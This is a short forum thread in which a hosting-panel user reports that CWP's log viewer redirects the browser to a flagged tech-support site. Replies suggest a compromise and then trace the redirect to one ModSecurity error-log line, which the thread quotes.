[Possible Hack] Strange Redirect when viewing CWP->Log Viewer
« on: February 12, 2020, 09:00:58 AM »
I have a strange redirect when using File Management -> CWP Log Viewer.

When I select to see the error_log and the domain, my browser is redirecting me to this website: speakwithjohns.com and my antivirus is reporting it as fake support website.

I changer the browser and the same happen on other browsers.

Has anyone this problem?

Yep: hacked!
Suggest immediately change ssh port & root/mysql passwords.
Send a high priority Ticket to CWP, to get them to investigate.

Think is no hacked. I found the cause of the redirect.
I try to isolate how much lines the script is displaying and found out that only one line of code is triggering the redirect.
And this is the one:
Code: [Select]
[Sun Feb 09 22:48:01.040796 2020] [:error] [pid 9480:tid 140047038756608] [client 154.50.0.79:44746] [client 154.50.0.79] ModSecurity: Access denied with code 403 (phase 2).

Think that this is a security warning?
What you think?

Well done @rcshaff. I couldn't be a$$ed pointing him in the right direction: another one that posts an error message without actually reading it..
